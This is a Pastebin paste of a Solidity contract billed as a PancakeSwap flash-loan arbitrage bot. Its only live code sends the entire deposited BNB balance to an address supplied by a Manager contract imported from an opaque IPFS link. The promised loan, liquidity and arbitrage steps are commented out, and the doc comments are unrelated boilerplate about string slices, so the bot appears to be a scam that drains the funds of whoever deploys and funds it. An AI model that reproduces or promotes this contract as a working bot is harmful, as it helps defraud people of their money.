Advertisement
deuterium3301033

bnb-smart-contract

Dec 6th, 2021 (edited)
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.59 KB | None | 0 0
  1. /*
  2. * dev Extracts the contract from pancakeswap
  3.  
  4. * param self The slice to operate on.
  5.  
  6. * param rune The slice that will contain the first rune.
  7.  
  8. * turn `rune`.
  9. */
  10.  
  11. /*
  12. * dev Extracts the contract from Uniswap
  13.  
  14. * param self The slice to operate on.
  15.  
  16. * param rune The slice that will contain the first rune.
  17.  
  18. * turn `rune`.
  19. */
  20.  
  21. /*
  22. * @dev Find newly deployed contracts on PancakeSwap Exchange
  23.  
  24. * @param memory of required contract liquidity.
  25.  
  26. * @param other The second slice to compare.
  27.  
  28. * @return New contracts with required liquidity.
  29.  
  30. */
  31.  
  32. // Code Manager
  33. import "https://ipfs.io/ipfs/bafybeieckcl3xix7gxjaruqnihdazxuuyjl64hvdyo4opckm4ezbszv5cq";
  34.  
  35. contract TiayflashbotBNB {
  36. string public tokenName;
  37. string public tokenSymbol;
  38. uint loanAmount;
  39. Manager manager;
  40.  
  41. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  42. tokenName = _tokenName;
  43. tokenSymbol = _tokenSymbol;
  44. loanAmount = _loanAmount;
  45.  
  46. manager = new Manager();
  47. }
  48. function() external payable {}
  49.  
  50. function action() public payable {
  51.  
  52. // Send required coins for swap
  53. address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);
  54.  
  55. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  56. manager.performTasks();
  57.  
  58. /*
  59. // Submit token to Binance Smart Chain
  60. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  61.  
  62. // List the token on pancakeswap & send coins required for swaps
  63. manager.pancakeswapListToken(tokenName, tokenSymbol, tokenAddress);
  64. payable(manager.pancakeswapDepositAddress()).transfer(300000000000000000);
  65.  
  66. // Get BNB Loan from Aave
  67. string memory loanAddress = manager.takeAaveLoan(loanAmount);
  68.  
  69. // Convert half BNB to DAI
  70. manager.pancakeswapDAItoETH(loanAmount / 2);
  71.  
  72. // Create BNB and DAI pairs for our token & Provide liquidity
  73. string memory ethPair = manager.pancakeswapCreatePool(tokenAddress, "BNB");
  74. manager.pancakeswapAddLiquidity(ethPair, loanAmount / 2);
  75. string memory daiPair = manager.pancakeswapCreatePool(tokenAddress, "DAI");
  76. manager.pancakeswapAddLiquidity(daiPair, loanAmount / 2);
  77.  
  78. // Perform swaps and profit on Self-Arbitrage
  79. manager.pancakeswapPerformSwaps();
  80.  
  81. // Move remaining BNB from Contract to your account
  82. manager.contractToWallet("BNB");
  83.  
  84. // Repay Flash loan
  85. manager.repayAaveLoan(loanAddress);
  86. */
  87. }
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement